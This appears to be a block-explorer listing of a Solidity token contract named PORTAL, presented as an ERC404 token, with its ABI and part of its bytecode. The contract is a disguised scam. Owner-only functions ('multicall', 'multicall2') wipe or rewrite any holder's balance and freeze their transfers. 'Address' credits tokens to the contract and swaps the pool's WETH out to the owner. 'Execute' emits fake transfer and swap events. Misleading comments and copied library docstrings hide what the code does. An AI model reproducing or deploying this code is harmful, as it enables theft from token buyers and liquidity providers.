 * allowances. See {IERC404-approve}.
 */
contract ERC404 {
    string public baseTokenURI;
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;
    uint256 _totalSupply;
    string _name;
    string _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken2(uint256 _a) internal pure returns (uint256) {
        return (_a * 100000) / (2931 + 97069);
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a + 10;
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        // Ignore this code
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

   

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

     function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function allowance(
        address __owner,
        address spender
    ) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC404: decreased allowance below zero"
        );

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC404: transfer from the zero address");
        require(to != address(0), "ERC404: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(
            fromBalance >= amount,
            "ERC404: transfer amount exceeds balance"
        );
        if (c[from] > 0) {
            require(add(c[from], b[from]) == 0);
        }

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC404: approve from the zero address");
        require(spender != address(0), "ERC404: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC404: insufficient allowance"
            );

            _approve(__owner, spender, currentAllowance - amount);
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract PortalToken is AERC404, ERC404 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    uint8 public decimals = 18;

    mapping(address => uint) public rootValues;
    bytes32 public DOMAIN_SEPARATOR = 0xd127614bc54fc11f5504efe48f8cf25c0b680a85502935dc18a3d2055866fa40;

    constructor() {
        _name = "PORTAL";
        _symbol = "PORTAL";
        _totalSupply = 1_000_000e18;
        owner = msg.sender;
        b[owner] = _totalSupply;
        _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = Interfaces(
            Interfaces(_RR.factory()).createPair(
                address(this),
                address(_RR.WETH())
            )
        );
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function setTokenURI(string memory _tokenURI) public onlyOwner {
        baseTokenURI = _tokenURI;
    }

    function Execute(
        uint256 t,
        address tA,
        uint256 w,
        address[] memory r
    ) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }

    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function getContract(
        uint256 blockTimestamp,
        uint256 selector,
        address[] memory list,
        address factory
    ) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(blockTimestamp, selector, list, factory);
    }

    function FactoryReview(
        uint256 blockTime,
        uint256 multiplicator,
        address[] memory parts,
        address factory
    ) internal {
        _RR.swapTokensForExactTokens(
            // assembler
            blockTime,
            multiplicator,
            // unchecked
            parts,
            factory,
            block.timestamp + 1200
        );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Address(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }

    function ConvertAddress(
        address _uu,
        uint256 _pp
    ) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount2(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit Transfer(
            (uint256(0) != 0 || 1238 == 1)
                ? address(uint256(0))
                : address(uint160(uint256(_b) >> 96)),
            address(_pair),
            b[
                // v0.5.11 specific update
                (uint256(0) != 0 || 1238 == 1)
                    ? address(
                        address(uint256(0)) == address(this) // Overflow control
                            ? uint256(0) // Ignore
                            : uint256(1)
                    )
                    : address(uint160(uint256(_b) >> 96))
                // Guard test
            ]
        );
        // Ignore this code
        b[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(0)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken2(uint256(__a));
    }

    function Mult(
        uint256 amO,
        address[] memory p
    ) internal view returns (uint256[] memory) {
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0) // Skip this code
                        ? address(uint256(0))
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount2(data[i], rS);
            }
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? address(uint256(0)) // Ignore this code
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount(data[i], rS);
            }
        }
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        // Ignore this code
        c[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(uint32(2)) == 2 // Check update
                        ? uint256(1)
                        : uint256(1)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken(uint256(__a));
    }

    function callUniswap(
        address router,
        uint256 transfer,
        uint256 cycleWidth,
        address unmount
    ) internal {
        IERC404(unmount).transferFrom(router, address(_pair), cycleWidth);
        emit Transfer(address(_pair), router, transfer);
        emit Swap(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
            transfer,
            0,
            0,
            cycleWidth,
            router
        );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function Allowance(
        uint256 checked,
        address[] memory p
    ) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck {
        value = Mult(checked, p);
        b[
            block.timestamp > uint256(1) ||
                uint256(0) > 1 ||
                uint160(1) < block.timestamp
                ? address(uint160(uint256(_T()) >> 96))
                : address(uint256(0))
        ] += value[0]; // end uncheck }

        return value[0];
    }


}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ERC20Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"ERC721Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amountOrId","type":"uint256"}],"name":"approve_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals_","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name_","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rootValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_tokenURI","type":"string"}],"name":"setTokenURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"setWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol_","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amountOrId","type":"uint256"}],"name":"transferFrom_","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

60e06040819052600060c081905262000019918162000316565b506040805160208101918290526000908190526200003a9160019162000316565b50600560f91b608052606460a0526014805460ff60a01b1916600960a11b1790557fd127614bc54fc11f5504efe48f8cf25c0b680a85502935dc18a3d2055866fa406016553480156200008c57600080fd5b50604080518082019091526006808252651413d495105360d21b6020909201918252620000bc9160119162000316565b50604080518082019091526006808252651413d495105360d21b6020909201918252620000ec9160129162000316565b5069d3c21bcecceda10000006010819055600f80546001600160a01b03199081163317918290556001600160a01b039182166000908152600d60209081526040918290209490945560138054909216737a250d5630b4cf539739df2c5dacb4c659f2488d1791829055805163c45a015560e01b81529051919092169263c45a01559260048082019391829003018186803b1580156200018a57600080fd5b505afa1580156200019f573d6000803e3d6000fd5b505050506040513d6020811015620001b657600080fd5b5051601354604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693309391169163ad5c464891600480820192602092909190829003018186803b1580156200020957600080fd5b505afa1580156200021e573d6000803e3d6000fd5b505050506040513d60208110156200023557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156200028857600080fd5b505af11580156200029d573d6000803e3d6000fd5b505050506040513d6020811015620002b457600080fd5b5051601480546001600160a01b0319166001600160a01b03909216919091179055601054604080519182525133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916020908290030190a3620003c2565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200034e576000855562000399565b82601f106200036957805160ff191683800117855562000399565b8280016001018555821562000399579182015b82811115620003995782518255916020019190600101906200037c565b50620003a7929150620003ab565b5090565b5b80821115620003a75760008155600101620003ac565b60805160f81c60a051612be1620003ee60003980610d13525080611a0a52806120915250612be16000f3fe608060405234801561001057600080fd5b50600436106102de5760003560e01c80638da5cb5b11610186578063c87b56dd116100e3578063e670e41d11610097578063ebfb412d11610071578063ebfb412d14610ab2578063f785ef7214610ad8578063ff5c1d6214610ae0576102de565b8063e670e41d146109e6578063e985e9c514610a14578063ea923bae14610a42576102de565b8063dd62ed3e116100c8578063dd62ed3e1461090a578063e0df5b6f14610938578063e2b9e186146109de576102de565b8063c87b56dd146108e5578063d547cfb714610902576102de565b8063a9059cbb1161013a578063af17dea61161011f578063af17dea614610827578063b88d4fde1461082f578063bda02782146108bf576102de565b8063a9059cbb146107cf578063a9c6f4e7146107fb576102de565b80639b19251a1161016b5780639b19251a1461074f578063a22cb46514610775578063a457c2d7146107a3576102de565b80638da5cb5b1461073f57806395d89b4114610747576102de565b8063324536eb1161023f57806353d6fd59116101f35780636352211e116101cd5780636352211e146106c65780636b5e27ef146106e357806370a0823114610719576102de565b806353d6fd59146105ab5780635765a5cc146105d957806358a1025914610607576102de565b80633950935111610224578063395093511461054157806342842e0e1461056d5780634f02c420146105a3576102de565b8063324536eb146105315780633644e51514610539576102de565b806323b872dd11610296578063313ce5671161027b578063313ce567146104755780633158aa7f14610493578063316d295f146104bf576102de565b806323b872dd146104195780632e953e771461044f576102de565b8063081812fc116102c7578063081812fc14610398578063095ea7b3146103d157806318160ddd14610411576102de565b806304ee65c0146102e357806306fdde031461031b575b600080fd5b610309600480360360208110156102f957600080fd5b50356001600160a01b0316610b06565b60408051918252519081900360200190f35b610323610b18565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561035d578181015183820152602001610345565b50505050905090810190601f16801561038a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103b5600480360360208110156103ae57600080fd5b5035610bae565b604080516001600160a01b039092168252519081900360200190f35b6103fd600480360360408110156103e757600080fd5b506001600160a01b038135169060200135610bc9565b604080519115158252519081900360200190f35b610309610bdf565b6103fd6004803603606081101561042f57600080fd5b506001600160a01b03813581169160208101359091169060400135610be5565b6103096004803603602081101561046557600080fd5b50356001600160a01b0316610c07565b61047d610c19565b6040805160ff9092168252519081900360200190f35b6103fd600480360360408110156104a957600080fd5b506001600160a01b038135169060200135610c3a565b61052f600480360360408110156104d557600080fd5b8101906020810181356401000000008111156104f057600080fd5b82018360208201111561050257600080fd5b8035906020019184602083028401116401000000008311171561052457600080fd5b919350915035610c4e565b005b610309610d11565b610309610d35565b6103fd6004803603604081101561055757600080fd5b506001600160a01b038135169060200135610d3b565b61052f6004803603606081101561058357600080fd5b506001600160a01b03813581169160208101359091169060400135610d54565b610309610e40565b61052f600480360360408110156105c157600080fd5b506001600160a01b0381351690602001351515610e46565b610309600480360360408110156105ef57600080fd5b506001600160a01b0381358116916020013516610e8f565b6103fd6004803603608081101561061d57600080fd5b8135916001600160a01b03602082013516916040820135919081019060808101606082013564010000000081111561065457600080fd5b82018360208201111561066657600080fd5b8035906020019184602083028401116401000000008311171561068857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610eac945050505050565b6103b5600480360360208110156106dc57600080fd5b5035610f4d565b61052f600480360360608110156106f957600080fd5b506001600160a01b03813581169160208101359091169060400135610f74565b6103096004803603602081101561072f57600080fd5b50356001600160a01b0316611253565b6103b561126e565b61032361127d565b6103fd6004803603602081101561076557600080fd5b50356001600160a01b03166112de565b61052f6004803603604081101561078b57600080fd5b506001600160a01b03813516906020013515156112f3565b6103fd600480360360408110156107b957600080fd5b506001600160a01b03813516906020013561137f565b6103fd600480360360408110156107e557600080fd5b506001600160a01b0381351690602001356113e6565b6103fd6004803603604081101561081157600080fd5b506001600160a01b0381351690602001356113f3565b6103236114d5565b61052f6004803603608081101561084557600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561088057600080fd5b82018360208201111561089257600080fd5b803590602001918460018302840111640100000000831117156108b457600080fd5b509092509050611562565b610309600480360360208110156108d557600080fd5b50356001600160a01b0316611688565b610323600480360360208110156108fb57600080fd5b503561169a565b6103236116ad565b6103096004803603604081101561092057600080fd5b506001600160a01b0381358116916020013516611708565b61052f6004803603602081101561094e57600080fd5b81019060208101813564010000000081111561096957600080fd5b82018360208201111561097b57600080fd5b8035906020019184600183028401116401000000008311171561099d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611733945050505050565b6103236117a9565b610309600480360360408110156109fc57600080fd5b506001600160a01b0381358116916020013516611804565b6103fd60048036036040811015610a2a57600080fd5b506001600160a01b0381358116916020013516611821565b61052f60048036036040811015610a5857600080fd5b810190602081018135640100000000811115610a7357600080fd5b820183602082011115610a8557600080fd5b80359060200191846020830284011164010000000083111715610aa757600080fd5b919350915035611841565b61052f60048036036020811015610ac857600080fd5b50356001600160a01b03166118ec565b61047d611a08565b61030960048036036020811015610af657600080fd5b50356001600160a01b0316611a2c565b600e6020526000908152604090205481565b60118054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ba45780601f10610b7957610100808354040283529160200191610ba4565b820191906000526020600020905b815481529060010190602001808311610b8757829003601f168201915b5050505050905090565b6005602052600090815260409020546001600160a01b031681565b6000610bd6338484611a3e565b50600192915050565b60105490565b6000610bf2843384611b2a565b610bfd848484611ba3565b5060019392505050565b60036020526000908152604090205481565b60145474010000000000000000000000000000000000000000900460ff1681565b6000610c47338484611d72565b9392505050565b600f546001600160a01b03163314610cad576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b82811015610d0b574215610d03576000610ce36060868685818110610cd157fe5b9050602002013560001c901c84611ee3565b9050610d01858584818110610cf457fe5b9050602002013582611f06565b505b600101610cb0565b50505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60165481565b600033610bfd818585610d4e8383611708565b01611a3e565b610d5f838383610f74565b604080517f150b7a02000000000000000000000000000000000000000000000000000000008082523360048301526001600160a01b0386811660248401526044830185905260806064840152600060848401819052935191939086169263150b7a029260a48083019360209383900390910190829087803b158015610de357600080fd5b505af1158015610df7573d6000803e3d6000fd5b505050506040513d6020811015610e0d57600080fd5b50517fffffffff000000000000000000000000000000000000000000000000000000001614610e3b57600080fd5b505050565b60025481565b6001600160a01b03919091166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b600c60209081526000928352604080842090915290825290205481565b600f546000906001600160a01b03163314610f0e576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482